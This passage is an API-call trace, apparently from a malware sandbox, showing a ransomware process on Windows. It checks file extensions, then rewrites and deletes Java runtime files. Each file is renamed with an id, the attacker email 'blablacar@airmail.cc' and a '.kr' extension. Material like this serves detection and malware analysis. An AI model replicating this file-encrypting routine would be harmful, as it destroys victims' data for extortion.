lstrlenW (lpString=".ppt") returned 4 [0181.734] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0181.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0181.734] lstrlenW (lpString=".zip") returned 4 [0181.734] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0181.734] lstrlenW (lpString=".rar") returned 4 [0181.734] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0181.734] lstrlenW (lpString=".bz2") returned 4 [0181.734] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0181.734] lstrlenW (lpString=".7z") returned 3 [0181.734] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0181.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0181.734] lstrlenW (lpString=".dbf") returned 4 [0181.734] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0181.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0181.734] lstrlenW (lpString=".1cd") returned 4 [0181.734] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0181.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0181.734] lstrlenW (lpString=".jpg") returned 4 [0181.734] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0181.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0181.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0181.735] lstrlenW (lpString=".doc") returned 4 [0181.735] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0181.735] lstrlenW (lpString=".docx") returned 5 [0181.735] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1 [0181.735] lstrlenW (lpString=".pdf") returned 4 [0181.735] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0181.735] lstrlenW (lpString=".xls") returned 4 [0181.735] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0181.735] lstrlenW (lpString=".xlsx") returned 5 [0181.735] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1 [0181.735] lstrlenW (lpString=".ppt") returned 4 [0181.735] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0181.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0181.735] lstrlenW (lpString=".zip") returned 4 [0181.735] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0181.735] lstrlenW (lpString=".rar") returned 4 [0181.735] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0181.735] lstrlenW (lpString=".bz2") returned 4 [0181.735] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0181.735] lstrlenW (lpString=".7z") returned 3 [0181.735] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0181.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0181.735] lstrlenW (lpString=".dbf") returned 4 [0181.735] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0181.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0181.735] lstrlenW (lpString=".1cd") returned 4 [0181.735] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0181.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0181.735] lstrlenW (lpString=".jpg") returned 4 [0181.735] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0181.736] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0181.736] lstrlenW (lpString="jfr.jar") returned 7 [0181.736] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0181.736] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=560581) returned 1 [0181.736] CloseHandle (hObject=0x454) returned 1 [0181.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0x20 [0181.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.736] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0181.737] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.737] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.737] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0181.737] GetLastError () returned 0x0 [0181.737] ReadFile (in: hFile=0x454, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x88dc5, lpOverlapped=0x0) returned 1 [0182.062] WriteFile (in: hFile=0x3e0, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x88dd0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x88dd0, lpOverlapped=0x0) returned 1 [0182.072] ReadFile (in: hFile=0x454, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.072] WriteFile (in: hFile=0x3e0, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xe2, lpOverlapped=0x0) returned 1 [0182.072] SetEndOfFile (hFile=0x3e0) returned 1 [0182.072] CloseHandle (hObject=0x3e0) returned 1 [0182.073] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.073] SetEndOfFile (hFile=0x454) returned 1 [0182.087] CloseHandle (hObject=0x454) returned 1 [0182.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0182.088] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 1 [0182.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0182.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0182.088] lstrlenW (lpString=".doc") returned 4 [0182.088] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0182.088] lstrlenW (lpString=".docx") returned 5 [0182.088] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0182.089] lstrlenW (lpString=".pdf") returned 4 [0182.089] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0182.089] lstrlenW (lpString=".xls") returned 4 [0182.089] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0182.089] lstrlenW (lpString=".xlsx") returned 5 [0182.089] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0182.089] lstrlenW (lpString=".ppt") returned 4 [0182.089] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0182.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0182.089] lstrlenW (lpString=".zip") returned 4 [0182.089] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0182.089] lstrlenW (lpString=".rar") returned 4 [0182.089] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0182.089] lstrlenW (lpString=".bz2") returned 4 [0182.089] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0182.089] lstrlenW (lpString=".7z") returned 3 [0182.089] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0182.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0182.089] lstrlenW (lpString=".dbf") returned 4 [0182.089] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0182.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0182.089] lstrlenW (lpString=".1cd") returned 4 [0182.089] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0182.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0182.089] lstrlenW (lpString=".jpg") returned 4 [0182.089] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0182.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0182.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0182.089] lstrlenW (lpString=".doc") returned 4 [0182.089] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0182.089] lstrlenW (lpString=".docx") returned 5 [0182.089] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0182.089] lstrlenW (lpString=".pdf") returned 4 [0182.089] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0182.090] lstrlenW (lpString=".xls") returned 4 [0182.090] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0182.090] lstrlenW (lpString=".xlsx") returned 5 [0182.090] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0182.090] lstrlenW (lpString=".ppt") returned 4 [0182.090] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0182.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0182.090] lstrlenW (lpString=".zip") returned 4 [0182.090] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0182.090] lstrlenW (lpString=".rar") returned 4 [0182.090] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0182.090] lstrlenW (lpString=".bz2") returned 4 [0182.090] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0182.090] lstrlenW (lpString=".7z") returned 3 [0182.090] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0182.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0182.090] lstrlenW (lpString=".dbf") returned 4 [0182.090] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0182.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0182.090] lstrlenW (lpString=".1cd") returned 4 [0182.090] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0182.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0182.090] lstrlenW (lpString=".jpg") returned 4 [0182.090] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0182.090] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0182.090] lstrlenW (lpString="logging.properties") returned 18 [0182.090] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0182.091] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2455) returned 1 [0182.091] CloseHandle (hObject=0x454) returned 1 [0182.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 0x20 [0182.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.091] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0182.092] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.092] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.092] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0182.092] GetLastError () returned 0x0 [0182.092] ReadFile (in: hFile=0x454, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x997, lpOverlapped=0x0) returned 1 [0182.530] WriteFile (in: hFile=0x3e0, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x9a0, lpOverlapped=0x0) returned 1 [0182.532] ReadFile (in: hFile=0x454, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.533] WriteFile (in: hFile=0x3e0, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xf8, lpOverlapped=0x0) returned 1 [0182.533] SetEndOfFile (hFile=0x3e0) returned 1 [0182.533] CloseHandle (hObject=0x3e0) returned 1 [0182.533] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.533] SetEndOfFile (hFile=0x454) returned 1 [0182.535] CloseHandle (hObject=0x454) returned 1 [0182.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0182.536] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 1 [0182.536] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0182.536] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0182.536] lstrlenW (lpString=".doc") returned 4 [0182.536] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0182.536] lstrlenW (lpString=".docx") returned 5 [0182.536] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0182.536] lstrlenW (lpString=".pdf") returned 4 [0182.536] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0182.536] lstrlenW (lpString=".xls") returned 4 [0182.536] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0182.537] lstrlenW (lpString=".xlsx") returned 5 [0182.537] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0182.537] lstrlenW (lpString=".ppt") returned 4 [0182.537] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0182.537] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0182.537] lstrlenW (lpString=".zip") returned 4 [0182.537] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0182.537] lstrlenW (lpString=".rar") returned 4 [0182.537] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0182.537] lstrlenW (lpString=".bz2") returned 4 [0182.537] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0182.537] lstrlenW (lpString=".7z") returned 3 [0182.537] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0182.537] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0182.537] lstrlenW (lpString=".dbf") returned 4 [0182.537] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0182.537] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0182.537] lstrlenW (lpString=".1cd") returned 4 [0182.537] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0182.537] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0182.537] lstrlenW (lpString=".jpg") returned 4 [0182.537] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0182.537] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0182.537] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0182.537] lstrlenW (lpString=".doc") returned 4 [0182.537] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0182.537] lstrlenW (lpString=".docx") returned 5 [0182.537] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0182.537] lstrlenW (lpString=".pdf") returned 4 [0182.537] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0182.537] lstrlenW (lpString=".xls") returned 4 [0182.537] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0182.537] lstrlenW (lpString=".xlsx") returned 5 [0182.538] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0182.538] lstrlenW (lpString=".ppt") returned 4 [0182.538] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0182.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0182.538] lstrlenW (lpString=".zip") returned 4 [0182.538] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0182.538] lstrlenW (lpString=".rar") returned 4 [0182.538] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0182.538] lstrlenW (lpString=".bz2") returned 4 [0182.538] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0182.538] lstrlenW (lpString=".7z") returned 3 [0182.538] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0182.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0182.538] lstrlenW (lpString=".dbf") returned 4 [0182.538] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0182.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0182.538] lstrlenW (lpString=".1cd") returned 4 [0182.538] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0182.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0182.538] lstrlenW (lpString=".jpg") returned 4 [0182.538] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0182.538] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0182.538] lstrlenW (lpString="management.properties") returned 21 [0182.538] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0182.539] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=14630) returned 1 [0182.539] CloseHandle (hObject=0x454) returned 1 [0182.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 0x20 [0182.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.539] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0182.540] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.540] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.540] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0182.577] GetLastError () returned 0x0 [0182.577] ReadFile (in: hFile=0x454, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x3926, lpOverlapped=0x0) returned 1 [0182.582] WriteFile (in: hFile=0x4c4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x3930, lpOverlapped=0x0) returned 1 [0182.583] ReadFile (in: hFile=0x454, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.583] WriteFile (in: hFile=0x4c4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xfe, lpOverlapped=0x0) returned 1 [0182.583] SetEndOfFile (hFile=0x4c4) returned 1 [0182.583] CloseHandle (hObject=0x4c4) returned 1 [0182.583] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.583] SetEndOfFile (hFile=0x454) returned 1 [0182.586] CloseHandle (hObject=0x454) returned 1 [0182.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0182.587] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 1 [0182.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0182.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0182.587] lstrlenW (lpString=".doc") returned 4 [0182.587] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0182.587] lstrlenW (lpString=".docx") returned 5 [0182.587] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0182.587] lstrlenW (lpString=".pdf") returned 4 [0182.587] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0182.587] lstrlenW (lpString=".xls") returned 4 [0182.587] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0182.587] lstrlenW (lpString=".xlsx") returned 5 [0182.587] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0182.587] lstrlenW (lpString=".ppt") returned 4 [0182.587] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0182.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0182.587] lstrlenW (lpString=".zip") returned 4 [0182.587] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0182.588] lstrlenW (lpString=".rar") returned 4 [0182.588] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0182.588] lstrlenW (lpString=".bz2") returned 4 [0182.588] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0182.588] lstrlenW (lpString=".7z") returned 3 [0182.588] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0182.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0182.588] lstrlenW (lpString=".dbf") returned 4 [0182.588] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0182.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0182.588] lstrlenW (lpString=".1cd") returned 4 [0182.588] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0182.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0182.588] lstrlenW (lpString=".jpg") returned 4 [0182.588] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0182.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0182.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0182.588] lstrlenW (lpString=".doc") returned 4 [0182.588] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0182.588] lstrlenW (lpString=".docx") returned 5 [0182.588] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0182.588] lstrlenW (lpString=".pdf") returned 4 [0182.588] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0182.588] lstrlenW (lpString=".xls") returned 4 [0182.588] 